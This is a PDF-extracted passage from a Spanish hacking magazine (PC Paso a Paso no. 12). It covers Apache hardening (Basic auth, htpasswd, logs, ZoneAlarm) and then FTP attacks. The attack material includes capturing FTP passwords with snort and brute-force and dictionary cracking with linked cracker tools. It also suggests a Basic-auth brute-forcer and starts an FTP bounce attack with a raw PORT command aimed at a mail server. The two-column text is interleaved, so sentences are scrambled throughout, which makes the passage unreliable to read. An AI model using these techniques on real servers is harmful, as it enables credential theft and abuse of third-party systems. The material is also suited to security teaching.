número 401 del directorio (por ejemplo utiliza un telnet, significa ACCESO NO AUTORIZADO. Seguramente nos saldrá herramienta explicada una y otra vez en la una ventanita invitándonos a introducir el nombre de usuario y revista). Escribimos el comando de petición: la contraseña, si los introducimos y no son correctos el Servidor GET /test/divx HTTP/1.0 Web volverá a emitir un 401, si los introducimos y son correctos obtendremos un código 200 (OK, es decir, acceso concedido y El servidor responde con un mensaje: acto seguido veremos en nuestra pantalla la página solicitada). HTTP/1.1 401 Unauthorized Si te interesa una lista completa de “códigos de estado” deberás WWW-Authenticate: Basic realm=”hackxcrack” dirigirte al RFC 2616 (http://www.rfc-editor.org/rfc/rfc2616.txt -- lastima, está en ingles) y/o ir al buscador google Como podemos apreciar, nos contesta con un (www.google.com) y buscar por ---lista códigos Web 200 400 401 (NO AUTORIZADO) y amablemente nos 500 ok---- con la opción “Buscar solo páginas en Español” dice que el tipo de autentificación utilizado es seleccionada. Encontrarás páginas como el BÁSICO :) http://www.altoaragon.org/codigos.htm#mensajes, donde puedes ver los principales códigos de respuesta del Servidor Web y en castellano :) En este momento el navegador pedirá al internauta que se identifique, saldrá la típica PC PASO A PASO Nº 12
  • 7. SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO ventanita pidiéndonos el login y password, una http://bitassa.com/articles/babel.html (es un vez introducido el navegador lo envía a través poco antiguo pero te aclarará todos esos de HTTP. Lo que se envía es algo parecido a conceptos que quizás ahora te suenan a chino- esto: mandarín: ASCII, ISO, ISO 8859-1 (ISO Latin- 1), UUENCODE, UUDECODE, MIME, BASE 64, GET /test/divx HTTP/1.0 UNICODE… …) Hazme caso por favor, léelo!!!!! Authorization: Basic H676RgThb54Op Y si eres de los que quieren aprender realmente Pero… ¿Dónde está el login y password?, a codificar y decodificar en BASE 64, mejor lee Es esa cosa tan rara H676RgThb54Op“. Estos este artículo: datos se envían en la cabecera de Authorization, http://www.rynho-zeros.com.ar/article97.html PERO se codifican utilizando un algoritmo Base 64, este algoritmo es muy fácil romper. Por Como puedes ver, a falta de presupuesto para cierto, recuerda que el login y el pasword se poner más páginas en la revista hemos optado envían separados por dos puntos (repasa el por hacer referencias a artículos que pueden primer número de la revista, compralo mediante arrojar un poco de luz sobre temas que son la Web -www.hackxcrack.com- y/o descargarlo paralelos al tema tratado :) gratuitamente en formato PDF de esa misma Web. ! Aprovechando... Pero… ¿dónde están los dos puntos? Yo no los veo en “H676RgThb54Op”, no entiendo nada!!! Vale, te lo detallo. En realidad, lo que debería Aprovechando el curso de Visual Basic podéis hacer una enviar el navegador en lugar de herramienta que haga combinaciones de password, buscar “H676RgThb54Op” es “login:pasword” (por un dominio que solicite identificación mediante ejemplo fernando:alma56892), pero en lugar Autentificación básica y luego enviarle peticiones con de enviar directamente “fernando:alma56892” combinaciones en la cabecera Authorization, recordar que en texto plano, primero lo cifra en BASE64 tenéis que utilizar la codificación Base 64, la mayoría de (quedándonos algo así los lenguajes ya tienen esta función implementada. “ZmVybmFuZG86YWxtYTU2ODky”). Los dos puntos también han sido codificados, por supuesto, por eso no puedes verlos, igual que Ya sabemos como funciona la Autentificación no puedes ver el user (fernando) ni el pasword Básica, ahora vamos a proteger el directorio (alma56892). DIVX utilizando las directrices de Apache. Supongamos que queremos restringir el acceso Dices que es un “cifrado” fácil de romper, pero al directorio DIVX de modo que la única persona yo, no se, no tengo ni idea de eso. que pueda acceder sea un usuario llamado “ h a c k x c r a c k ”, c u y a c o n t r a s e ñ a s e a Pues entonces vamos al www.google.com e “hackxcrack100”. investigamos un poquito. Bueno, vale, te lo pondré fácil. Tienes un “traductor on line” de Paso 1. Crear un archivo para el usuario con BASE 64 en http://www.rynho- htpasswd zeros.com.ar/base64nuke.php ;p Apache incluye un programa llamado htpasswsd, Y de paso te recomiendo, no, mejor te ruego este archivo se encuentra en el directorio encarecidamente que leas el artículo c:apachebin PC PASO A PASO Nº 12 Página 7
  • 8. SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO Crea un directorio en C que se llame password, Paso 2. Creación del archivo .htpasswd ahora verás la razón de crear este directorio. Abre una ventana de comandos, ponte en el Crea un archivo llamado .htaccess en el directorio directorio bin de apache para ejecutar el fichero que deseas proteger, en este ejemplo: htpasswd y pon: c:apache.wwwdivx.htpasswd. htpasswd –c c:password.htpasswd hackxcrack Abrimos este archivo y añadimos los siguientes parámetros: ! Si no sabes... AuthNam Apache Server Solo usuario de Hackxcrack AuthType Basic Si no sabes abrir una ventana de comandos y moverte entre AuthUserFile c:password.htpasswd directorios desde ella, descarga el número uno de esta revista Require user hackxcrack en formato PDF desde la Web www.hackxcrack.com. Seguimos recibiendo mails de lectores que no saben como abrir una ventana de comandos, pues en Hack x Crack • La primera directriz, AuthName, es una etiqueta para el navegador, puedes escribir cualquier número 1 se explica, además tienes el foro en la misma cosa. Por ejemplo, podrías haber puesto Web, donde nos ayudamos entre todos… ¿a qué esperas perfectamente AuthNam Apache Server para para participar? :) mis amigos :) • La directriz AuthType Basic hace mención al htpasswd solicitará la contraseña para el usuario tipo de autentificación, eso ya lo hemos explicado hackxcrack. Hay que introducir dos veces el en este mismo artículo. password hackxcrack100, la segunda vez es por seguridad. La herramienta ha creado un • La directriz AuthUserFile especifica el nombre archivo llamado .htpasswd en el nuevo directorio de archivo del usuario creado anteriormente. password con los datos del usuario. • Por último, mediante la directriz Require user El contenido del archivo .htpasswd de este comunicamos que el usuario hackxcrack puede ejemplo es: acceder al directorio. hackxcrack:$apr1$Z04.....$UdNMBBNaSXVXQ o62VHQru1 Paso 3. Configurar el archivo de permisos. Es importante saber que: Una vez creados ambos archivos es recomendable dar permisos de lectura de estos • Utilizar la opción –c es para crear un nuevo archivos sólo a Apache para que nadie pueda archivo, si lo que se desea es añadir un nuevo acceder a ellos. usuario al archivo hay que omitir el parámetro. • Colocar el archivo .htpasswd fuera del árbol de directorios web de Apache, para evitar cosas 2. Registro de visitas de tu web. como: http://www.hackxcrack.com/password/.htpasswd En anteriores capítulos hemos aprendido a y puedan robarnos el archivo con todas las conocer el estado del servidor Apache utilizando claves. Página 8 PC PASO A PASO Nº 12
  • 9. SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO el módulo mod_info, pero tan importante es Si deseamos registrar todos los accesos al conocer el estado del servidor como saber servidor web, hay que abrir el archivo de cuantas visita tiene la web. Apache registra configuración httpd.conf y añadir la línea anterior, cada impacto recibido de las visitas, registra si el archivo access.log no existe Apache lo accesos cualquier objeto que tengamos en la creará de manera automática. Web , páginas HTML, imágenes, flash, ... Directriz: LogFormat Apache utiliza el formato CLF para registrar la Sintaxis: LogFormat formato información capturada, el archivo contiene una línea separada para cada petición, está formada Ejemplo: LogFormat “%h %l %u % t ”%r” por varias partes: host ident authuser date %s %b” request status bytes Con esta directriz podemos configurar el formato El significado de cada uno de ellos: de registro de la información en el archivo access.log Host: Se encuentra el nombre completo del dominio del cliente i su dirección IP. Aunque el formato CLF suele ser suficiente Ident: Un identificador de cliente. puede ocurrir que necesitemos añadir nueva información o cambiar la estructura de los logs. Authuser: Si el URL solicitado necesita una El formato de la directriz puede contener tanto autenticación HTTP básica, se tomará como caracteres literales como especificadores de valor de este elemento el nombre del usuario. formato (%). Los especificadores son: Date: Fecha y hora de la petición. Request: La url que solicita el navegante. Status: Código de estado. Bytes: Número de bytes del objeto solicitado por el navegante. D i r e c t r i z : Tr a n s f e r L o g S i n t a x i s : Tr a n s f e r L o g nombre_archivo Ejemplo de un log real con el formato: Ejemplo: TransferLog logs/access.log LogFormat "%h %l %u %t "%r" %>s %b " % { Re fe r e r } i " " % { U s e r-A g e n t } i " " Determina el nombre archivo dónde se registrarán todos los accesos. La información 127.0.0.1 - - [08/Sep/2002:19:49:18 +0200] registrada se presenta en formato CLF aunque "GET /hackxcrack /index.htm HTTP/1.1" 200 el formato se puede personalizar con la directriz 979 "-" "Mozilla/4.0 (compatible; MSIE 5.0; LogFormat. Windows 98; DigExt)" PC PASO A PASO Nº 12 Página 9
  • 10. SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO ¿qué nos dice el registro de logs? web. El registro de errores lo aporta 127.0.0.1 – Es la IP del navegante, recuerda el propio Apache y a través de la directriz que una misma IP puede estar repetida ya que ErrorLog. el navegante visitará varias páginas. Un ejemplo de registro con error: [08/Sep/2002:19:49:18 +0200] – Fecha y hora [Mon Sep 09 11:04:19 2002] [error] [client de conexión, es decir, es la fecha en que se 1 2 7. 0 . 0 . 1 ] F i l e d o e s n o t e x i s t : ha conectado el navegante. c:/appserv/www/hackxcracm/img/logos.gif "GET /hackxcrack/index.htm HTTP/1.1” – Es Este registro nos dice que la visita con IP el objeto que ha visitado el navegante, en este 127.0.0.1 ha accedido a una imagen llamada caso es la página principal de hackxcrack logos.gif y que no existe. De esta forma tan simple podemos mantener siempre los enlaces "Mozilla/4.0 (compatible; MSIE 5.0; Windows actualizados y libres de errores. 98; DigExt)" – Es el useragent, este dato lo envía el navegador y en el se puede saber el 2.3 Mantenimiento de logs sistema operativo del navegante y navegador. Por defecto Apache registra todos los accesos Apache también nos permite crear varios en un mismo archivo, este irá creciendo hasta archivos de logs con contenidos diferentes, por llenar el disco duro, por lo que es muy peligroso ejemplo, nos puede interesar tener archivos que ocurra esto. Imagina las empresas de logs, uno con todo el contenido CLF y otro hosting con miles de dominios, tienen que llevar archivo con los useragents, un ejemplo con un un control de logs automático con sucesos que servidor virtual sería: eviten el colapso de los discos duros. Cuando el tamaño del archivo de registro es TransferLog logs/access.log demasiado grande, se suele optar por CustomLog logs/agents.log renovarlo. <Virtual Host 255.76.123.67> Apache ofrece la utilidad rotatelog para que el ServerName www.hackxcrack.com mantenimiento de logs sea automático. DocumentRoot /www/hackxcrack/ Utilidad: RotateLog </VirtualHost> Para utilizar esta herramienta hay que abrir el 2.2 Registro de errores fichero de configuración de Apache y poner lo siguiente (si no sabes qué archivo es ese, seguro Existe otro archivo log de gran utilidad, es el que no has seguido el curso de APACHE desde archivo de errores. Este archivo registrará todos el principio ;p): los accesos erróneos, si un navegante intenta acceder a una página que no exista se le TransferLog “| /apache/logs /copia/logs/httpd mostrará un mensaje 404 en el navegador y 86400” el servidor Apache registrará este acceso en archivo de errores. De este modo, todos los días se generará un nuevo archivo de información que se guarda Este archivo es de gran utilidad ya que en /copia/logs/https.nnn, donde nnn representa podemos encontrar errores de enlaces, páginas un número largo. El tiempo hay que especificarlo ya no existentes y nos ayudará a depurar la en segundos (86400 segundos = 24 horas). Página 10 PC PASO A PASO Nº 12
  • 11. SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO 2.4 Analizar los datos de los logs Apache vamos a explicar como instalar un firewall en el servidor y así proteger el servidor Abrir un archivo log para pretender analizarlo de ataques externos. sin ninguna herramienta puede resultar casi imposible, por no decir imposible del todo. Para Os resumimos los principales puntos de un ello existen herramientas gratuitas que cortafuegos: analizarán los logs para generar informes con datos tan importantes como “visitas por horas, • Proteger el ordenador de los ataques que visitas por días, visitas mensuales, ...”. se produzcan desde máquinas situadas en Internet. El analizador de logs más conocido es webalizer, podéis descargar el programa en • Asegurar que nuestro ordenador no se www.webalizer.org, es software con licencia utiliza para atacar a otros. Open Source development y lógicamente gratis. • Prevenir el uso de troyanos que puedan La puesta en marcha de los analizadores de existir en el sistema debido a que alguien nos logs requieren de conocimientos básicos para lo ha introducido a través de correo electrónico el correcto funcionamiento. Existen otras o en algún CD o disquete. soluciones más sencillas para conocer el número de visitas, países, referidos, navegadores, sin ·• Detectar patrones de ataques e identificar necesidad de sobrecargar el servidor web. En de dónde provienen. Internet encontrarás muchos servicios de contadores de visitas con estadísticas de visitas. La puesta en marcha de estos contadores es • Evitar que nuestro ordenador pueda ser un muy sencilla y rápida. Incluso en algunos punto de entrada a una red privada virtual en servicios te ofrecen más información que los el caso de utilizarlo para tele trabajo o acceso propios logs del servidor Apache. remoto a la red de una empresa. Te recomendamos los contadores de • Al probar nuevas aplicaciones podremos www.contadorwap.com y www.intrastats.com, averiguar cuáles son exactamente los puertos el registro es sencillo, rápido y las estadísticas de comunicaciones que necesitan usar. son bastante estables. Hemos optado por el cortafuegos Zone Alarm 3. Instalar un firewall en el por ser gratuito y bastante estable. Con Zone Alarm podemos controlar el acceso a los servicios servidor web que deseemos, en un principio nos interesa dar acceso a un solo servicio, al servicio web Apache. En anteriores número de hackxcrack ya se comentó la finalidad de un firewall o Lo primero es bajarse el programa de cortafuegos, pero resumiendo podemos decir http://www.zonealarm.com, busca la versión que es una herramienta que prohíbe el acceso gratuita. El archivo ocupa 3,5 Megas, no es a recursos a navegantes no deseados. Si tienes mucho por lo que en unos minutos lo tendrás tu servidor web las 24 horas, seguro que en el disco duro. muchos navegantes intentarán acceder a otros servicios del servidor (ftp, mysql, netbios, email, Instala el ZoneAlarm, la instalación es muy ...). Es por ello que para finalizar el curso de sencilla e intuitiva. Seguramente tendrás que PC PASO A PASO Nº 12 Página 11
  • 12. SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO reiniciar el ordenador, la primera pantalla tras iniciar el ZoneAlarm es para configurar algunas preferencias. En la siguiente imagen vemos como ZoneAlarm nos pregunta si deseamos que nos avise cada vez que detecte un intento de acceso no validado. Si aceptas "alert me whenever ZoneAlarm blocks traffic” nos mostrará una alarma cada vez que detecte un intento de intrusión, si trabajas en el servidor puede llegar a molestar, así que selecciona “Don’t alert me at all – protect my computer silently”. En la siguiente ventana te pregunta si quieres leer el tutorial, no hace falta ya que ZoneAlarm es muy sencillo, así que pulsa el icono Finish. A los pocos segundos tendrás el ZoneAlarm funcionando como muestra la imagen. En la segunda ventana nos pregunta si deseamos que ZoneAlarm preconfigure algunos programas, es decir, él será quien de permisos de manera inicial. Si seleccionamos que “no” ZoneAlarm detectará las conexiones y nos preguntará si aceptamos las conexiones, es decir, podremos a configurar las reglas de acceso manualmente para poder tener un mayor control. Página 12 PC PASO A PASO Nº 12
  • 13. SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO Zone Alarm muestra los avisos mediante Con la primera visita a la ventanas de alerta con la siguiente imagen: Web (al Servidor Apache), Zone Alarm preguntará si aceptamos conexiones a Apache y lógicamente decimos que SI y además señalando la opción de recuerde la respuesta. La Web está precisamente para ser visitada, si dijésemos que no, el visitante no podría acceder a la Web. Mediante alertas, se van configurando las reglas de seguridad, en un principio solo tendrías que aceptar conexiones a Apache Por ejemplo, cada vez que utilices el Internet y rechazar el resto de conexiones (esta Explorer para navegar aparecerá una ventana configuración sería ideal si el Ordenador se de color verde, si alguien intenta acceder a tu utiliza únicamente como Servidor Web mediante Servidor Web aparecerá una ventana naranja, Apache, si tu PC lo utilizas para mil cosas más, lo mismo si algún navegante quiere acceder ya sabes, tendrás que dar permisos a muchos al servidor MySQL. En ese momento puedes más servicios). hacer dos cosas, hagamos un ejemplo, intentando conectar mediante FTP al servidor En cualquier momento puedes prohibir todo web. acceso al ordenador ya sean las peticiones Intentar abrir una sesión FTP poniendo la IP desde la propia red o desde Internet, para ello de vuestro servidor. Zone Alarm mostrará la hay que pulsar el botón STOP de la parte siguiente ventana de aviso. superior (ver imagen 1, siguiente página). ZoneAlarm tiene muchas opciones, pero esto es lo básico para comenzar a proteger el servidor web, con esto es suficiente para comenzar a tener un cortafuegos sencillo y útil. Existen otros muchos cortafuegos mucho más potentes, pero la idea de este artículo es proteger vuestro servidor web de ataques de la forma más sencilla posible y sin problemas. PC PASO A PASO Nº 12 Página 13
  • 14. SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO Firewall que te protegerá de los ataque. Si tienes una página Web ¿has pensado alojarla en tu servidor Web?, muchos webmasters IMAGEN 1 tienen sus webs con conexiones ADSL y les funcionan bastante bien. ¿lo has intentado? Conclusión. Y después de Apache ... aún queda mucho por decir de Apache pero ya no será tan sencillo Consideremos que el objetivo del curso de como los anteriores capítulos. En los próximos Apache se ha cumplido con las 5 entregas, la números explicaremos técnicas de hacking en idea principal es que veáis que cualquiera las que se verán implicados los Servidores Web, puede montarse su propio servidor en casa y por ello es importante que te familiarices con tenerlo protegido mediante un sencillo firewall. tu propio servidor Web (en este caso APACHE). Si has seguido las 5 entregas, habrás aprendido No dejes nunca de “picotear” entre los muchos a tener tu servidor Web, utilizar dominios gratis Servidores Web que puedes instalar en un PC, y redireccionarlos a tu servidor, crear mirrors APACHE e IIS son los más conocidos, no es (espejos) de Webs en tu propio servidor Apache, necesario que los domines a la perfección, tan algunos bugs conocidos de Apache, proteger solo “trastealos” un poquito para tener el acceso al servidor Web y a instalar un sencillo conocimientos básicos sobre ellos. ¿QUIERES COLABORAR CON PC PASO A PASO? PC PASO A PASO busca personas que posean conocimientos de informática y deseen publicar sus trabajos. SABEMOS que muchas personas (quizás tu eres una de ellas) han creado textos y cursos para “consumo propio” o “de unos pocos”. SABEMOS que muchas personas tienen inquietudes periodísticas pero nunca se han atrevido a presentar sus trabajos a una editorial. SABEMOS que hay verdaderas “obras de arte” creadas por personas como tu o yo y que nunca verán la luz. PC PASO A PASO desea contactar contigo! NOSOTROS PODEMOS PUBLICAR TU OBRA!!! SI DESEAS MÁS INFORMACIÓN, envíanos un mail a empleo@editotrans.com y te responderemos concretando nuestra oferta. Página 14 PC PASO A PASO Nº 12
  • 15. RA 6 : FTP W (File Transfer Protocol) Segunda Parte. El camino recorrido con esta serie (SERIE RAW) ha sido largo y terriblemente provechoso. Hemos conseguido tratar DE TU A TU con los temidos protocolos y a dominar temas que la mayoría de mortales ni tan siquiera sabe que existen. Vamos a por todas con el FTP!!! - Aprenderemos a conseguir claves de FTP por temas aparte, que nada (o poco) tienen que diversos métodos ver con el protocolo en sí mismo. - Aprenderemos a utilizar la popular herramienta Igual que, por ejemplo, el protocolo SMTP Snort como sniffer permite que el cliente especifique cualquier dirección de origen, aunque ésta no - Aprenderemos lo que es el hammering sea real (lo expliqué en el número 8 de la revista), el protocolo FTP también permite otras - Aprenderemos a utilizar un servidor de FTP muchas cosas que pueden implicar ciertos como puente para establecer conexiones problemas de seguridad, aunque también anónimas a otros servicios en otras máquinas pueden ser utilizadas para fines más constructivos, como explicaré por ejemplo - Descubriremos los secretos de la Scene del cuando hable sobre FXP en este artículo. Warez, las boards de FXP, los Dumps... Así que, sin más dilación, pongámonos ya manos - Aprenderemos el funcionamiento interno del a la obra. :-) protocolo FXP - Capturaremos conexiones de FTP de otros usuarios ! Nota de HackxCrack - Aprenderemos a abrir puertos en un firewall utilizando el protocolo FTP Nota de Hack x Crack: Hay muchas Webs donde puedes 2. Problemas de seguridad en FTP informarte sobre los últimos “acontecimientos” relacionados con lo Seguridad Informática. Una de ellas Como lo prometido es deuda, aquí tenéis la es sin duda http://www.vsantivirus.com/ continuación del artículo sobre FTP. Como ya anticipé en el número anterior, en el que expliqué el funcionamiento del protocolo, en esta segunda parte mostraré algunos de sus problemas de seguridad inherentes. Insisto en que sólo hablaré de problemas inherentes al protocolo, por lo que no entraré en detallar exploits para ningún bug de una aplicación en concreto. Por supuesto, como cualquier aplicación actual, los servidores y clientes de FTP también tienen un largo historial con los más variopintos bugs clásicos (buffer overflow, DoS, etc, etc). Pero todo esto son PC PASO A PASO Nº 12 Página 15
  • 16. SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) ! Como ya debes saber... Te la recomendamos no solo por la velocidad con que actualiza sus contenidos sino porque pone a tu disposición - Como ya debes saber a estas alturas, una SHELL muchos artículos que sin duda harán las delicias de cualquier persona interesada por el tema. Está es una Ventana de Comandos, esa pantallita negra donde principalmente orientada a “temas víricos”, pero en los puedes escribir “comandos”. Si no tienes ni idea, descárgate últimos tiempos los virus/gusanos utilizan precisamente de forma gratuita el número uno de esta revista bugs del Sistema Operativo para su propagación, de (www.hackxcrack.com) y recuerda que cualquier duda manera que encontrarás todo tipo de informaciones y en puedes exponerla en el foro. perfecto castellano :) - En este artículo se detalla el trabajo con un sniffer para Linux, puedes hacer lo mismo desde cualquier otro sniffer para Windows. Recuerda que en números anteriores 2.1. CAPTURA DE CLAVES DE FTP ya hemos trabajado con sniffers para Windows. - En este artículo se habla de “compilar el snort Para los que hayáis seguido fielmente todos para Linux”. Nuestro foro de LINUX los números de mi serie RAW, este primer (www.hackxcrack.com) está cada vez más activo, lógico punto será evidente, pero creo conveniente si pensamos que cada vez estamos haciendo más referencias comentarlo, no solo como repaso, si no también a este Sistema Operativo en nuestros artículos. Pues ya para los nuevos lectores. ;-) sabes, si no tienes ni idea de compilar el snort en Linux o tienes cualquier duda al respecto, pásate por el foro y entre Como expliqué en el número anterior, todos nos ayudaremos :) los passwords de autenticación en FTP se - Una última cosa… como puedes ver, poco a poco envían en texto plano, sin ningún intentamos que experimentes nuevas “sensaciones” y, si tipo de codificación ni encriptación. quieres seguir aprendiendo deberás tomarte esta invitación Por tanto, si tenemos alguna herramienta como algo prioritario. Si hasta ahora has “pasado” de que nos permita capturar todo el tráfico que instalarte Linux, no lo dejes por mucho más tiempo… todo circula por nuestra red, podremos capturar lo que hasta ahora se ha explicado en PC PASO A PASO todos los passwords de FTP que sean enviados (incluido en este número 12) puede hacerse tanto desde dentro de nuestra red local. Esta herramienta Windows como desde Linux, pero llegará un momento en es precisamente un sniffer. que ciertos temas únicamente podrán tratarse desde Linux y ese día lamentarás no tener ni idea de por donde empezar. En Windows podéis utilizar, por ejemplo, el Que no te pille el toro, atrévete con LINUX!!! sniffer IRIS. En Linux tenéis una gran oferta de sniffers, empezando por el clásico snort, Una vez compilado e instalado snort (se sale del tema del artículo explicar cómo hacer esto), que puede funcionar también como IDS sólo tendremos que lanzar este comando desde (Sistema de Detección de Intrusos), y teniendo una consola: también gran variedad de sniffers con interfaz gráfico, como por ejemplo Ethereal. snort -v -d port 21 Para no aburrir a los que siguen mi serie desde El usuario que ejecute este comando tiene que ser root. Os comento rápidamente que la opción el principio, esta vez en lugar de mostrar el -v sirve para que muestre el contenido de los ejemplo con IRIS, lo mostraré con un sniffer paquetes que captura, la opción -d para que para Linux. Y para que aprendáis aún más, no muestre el campo de datos de los paquetes, y lo haremos con un sniffer gráfico, si no con no sólo la cabecera, y port 21 es una snort desde una shell. :-) expresión que le indica que sólo muestre los paquetes que circulen a través del puerto 21 Página 16 PC PASO A PASO Nº 12
  • 17. SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) (tanto si es de origen, como si es de destino). Pero no nos precipitemos; vamos a ver primero Os recuerdo que el puerto 21 es el puerto las 2 formas de crackear passwords de FTP, estándar para FTP. aparte de la captura directa que hemos visto antes: Desde que ejecutemos este comando, se nos mostrarán en pantalla todos los paquetes 2.2.1. Crackeo local. relacionados con el puerto 21 que circulen en toda nuestra red local. Normalmente, esto será Si tenemos acceso al disco duro de alguien que poco práctico, ya que no podemos estar todo utiliza un cliente de FTP, en el cual tenga un el día pendientes de la consola esperando que site manager en el que almacene direcciones aparezca el paquete que contiene el password, y login/password de varias cuentas, podremos por lo que lo mejor es dejarlo un tiempo coger el archivo del cliente de FTP donde corriendo, y mirar después en los logs de almacene los sites y utilizar alguna herramienta snort. El directorio por defecto para los logs de crackeo específica para ese software. de snort es /var/log/snort, aunque podemos Por poner un ejemplo, en: especificar nosotros el directorio que queramos http://link.box.sk/link.php3?rid=30953&url=h mediante la opción -l <nombre_directorio>. ttp%3A%2F%2Fnewdata.box.sk%2Ftdwl%2F flashfxp.pc.0.1.zip tenéis un crackeador de passwords para el archiconocido cliente FlashFXP. Si no encontraseis la herramienta adecuada para ese cliente, siempre os queda la posibilidad de importar el archivo con los sites a vuestro propio cliente, y sacar los passwords mediante un sniffer, tal y como expliqué en el punto 2.1. Este tipo de herramientas pueden ser muy útiles cuando habéis olvidado los datos de autenticación de alguna cuenta y los necesitáis, normalmente porque tenéis que acceder desde otro sitio, con otro cliente en el que no tenéis los datos introducidos en el site manager. 2.2.2. Crackeo online. Si, en cambio, lo que queremos es conseguir En esta captura podemos ver 2 consolas. En acceso a un servidor de FTP remoto, tendremos la primera (la que tiene el foco), vemos la que hacer un crackeo de cuentas por uno de salida que muestra snort al actuar como sniffer los 3 sistemas clásicos: del puerto 21, y en la segunda vemos una sesión de FTP. El password que hemos - Fuerza bruta introducido ha sido hxcpass. Como podemos - Diccionario ver en la consola de snort, se ve claramente - Métodos mixtos el paquete en el que enviamos el comando PASS hxcpass. El crackeo por fuerza bruta consiste en probar todos los posibles passwords hasta, a base de 2.2. CRACKEO DE CLAVES DE FTP. miles de pruebas, dar con un password que funcione. Antes de meternos con lo realmente interesante, El crackeo por diccionario consiste en probar vamos a insistir un poco más en el tema de una serie de passwords típicos y confiar en que los passwords, también para aclarar uno de el administrador haya sido tan poco original de los términos que se escuchan a menudo utilizar uno de esos passwords. Existen en la relacionados con el FTP, que es el del red miles de archivos con diccionarios de hammering. passwords en todos los idiomas. PC PASO A PASO Nº 12 Página 17
  • 18. SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) Los métodos mixtos son muy variados: ahora, cuando se lanza un intento de crackeo generación de fechas, combinaciones de de passwords mediante cualquiera de los 3 palabras de diccionario, etc. sistema mencionados antes (fuerza bruta, diccionario, u otros métodos), éste sólo podrá En cualquier caso, existen defensas contra ser efectivo si se pueden lanzar muchos intentos esto, y una de las clásicas es el anti- de conexión lo más rápido posible, por lo que hammering. Si alguna vez habéis intentado si se evita el hammering, se estará evitando acceder a un servidor FTP que estuviera lleno también la posibilidad de un crackeo de de usuarios y no se pudiese entrar, passwords en el servidor. probablemente os habréis encontrado con que después, a pesar de que ya había hueco en el Por supuesto, como nada es perfecto en este servidor, éste os había baneado y no permitía mundo (y menos aún la seguridad informática), el acceso a vuestra IP. Esto probablemente se siempre hay forma de saltarse las protecciones habrá debido a que no configurasteis bien anti-hammering. Por ejemplo, aquí podéis ver vuestro cliente de FTP, y éste hizo un una forma de saltarse la protección anti- hammering al servidor, el cual se “defendió” hammering del popular servidor FTP para baneando vuestra IP para impediros el acceso. W i n d o w s S e r v - U : http://www.securiteam.com/exploits/6W00H1 P0AO.html ¿En qué consiste el hammering, y por qué los servidores intentan evitarlo? Generalmente, 2.3. FTP BOUNCE los servidores FTP suelen tener limitado el número de usuarios simultáneos, por lo que Vamos a entrar al fin de lleno con una técnica los clientes de FTP suelen incorporar un realmente interesante. ;-) mecanismo para reintentar la conexión cada Esta técnica ha sido utilizada desde tiempos cierto tiempo si se da el caso de que el servidor remotos, e incluso ha llevado a la necesidad esté lleno. de escribir un RFC con recomendaciones para El problema aparece si el cliente de FTP está evitar este tipo de ataques: ftp://ftp.rfc- configurado para que esos reintentos sean editor.org/in-notes/rfc2577.txt instantáneos, es decir, sin dejar un tiempo prudencial entre cada reintento. Lo que ocurre Para comprender el funcionamiento de este entonces es que el servidor de FTP se encuentra ataque, debemos recordar el funcionamiento con que ese usuario está intentando conectar del FTP activo (o no pasivo). En este tipo de con una insistencia de varios intentos por transferencia, es el cliente el que especifica al segundo. La respuesta ante tal “falta de servidor la IP y el puerto donde debe conectarse educación” suele ser el baneo a esa IP para para establecer el canal de datos. Vaya... ¿no que no pueda volver a acceder a ese servidor. os recuerda eso a algo? ¿quizá a las mil técnicas que expliqué sobre DCC, donde también se Los motivos por los que el hammering no es especificaban “manualmente” la IP y el puerto? deseable son básicamente 3: :-D - En primer lugar, el hammering consume Si en lugar de darle al servidor de FTP nuestra recursos en el servidor de forma innecesaria IP, le damos la de cualquier otra máquina, y (tanto ancho de banda, como recursos de la como puerto le damos el de algún servicio que máquina). tenga esa máquina, el servidor de FTP se - En segundo lugar, si hay varios usuarios conectará a ese servicio de esa máquina, intentando entrar, sería como intentar “colarse” pensando que en realidad se está conectando por la fuerza, por lo que es una falta de a nuestra máquina para establecer un canal de educación, la cual además podría llevar a que datos para una transferencia. los demás usuarios, queriendo tener igualdad Veámoslo mejor con un ejemplo: de oportunidades, hiciesen también hammering contra el servidor, por lo que el problema se Supongamos que el maléfico usuario PyC tiene multiplicaría. una cuenta (puede ser también una cuenta - En último lugar, que es el que nos interesa anonymous) en el servidor de FTP ftp.lco.es. Página 18 PC PASO A PASO Nº 12
  • 19. SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) Resulta que tiene también una cuenta de que es la IP del servidor de SMTP, la cual correo gratuita que se ha creado en puede conseguir por cualquier sistema clásico www.hotpop.com para sus pérfidos planes. de traducción de DNS a IP. Por ejemplo, desde Esa cuenta de correo funciona mediante POP3 Linux, ejecutaría en una consola: (para la recepción) y SMTP (para el envío). Estos 2 protocolos ya fueron explicados en la host smtp.phreaker.net serie RAW, en los números 7 y 8 de la revista respectivamente. ;-) Y obtendría la IP. En este caso concreto, hay Lo que quiere hacer PyC es utilizar el servidor 3 IPs asociadas al mismo DNS, por lo que de FTP ftp.lco.es como intermediario (bouncer) cualquiera de las 3 nos serviría. La IP que nos para enviar un email anónimo al usuario quedamos es: 204.57.55.209. Zer0Cul. El primer comando RAW a enviar será: Vamos a ver paso a paso cómo lo consigue: PORT 204,57,55,209,0,25 2.3.1. PyC prepara el archivo de comandos SMTP Con eso estamos diciendo al servidor, que el canal de datos para la próxima transferencia El primer paso será crear un archivo de 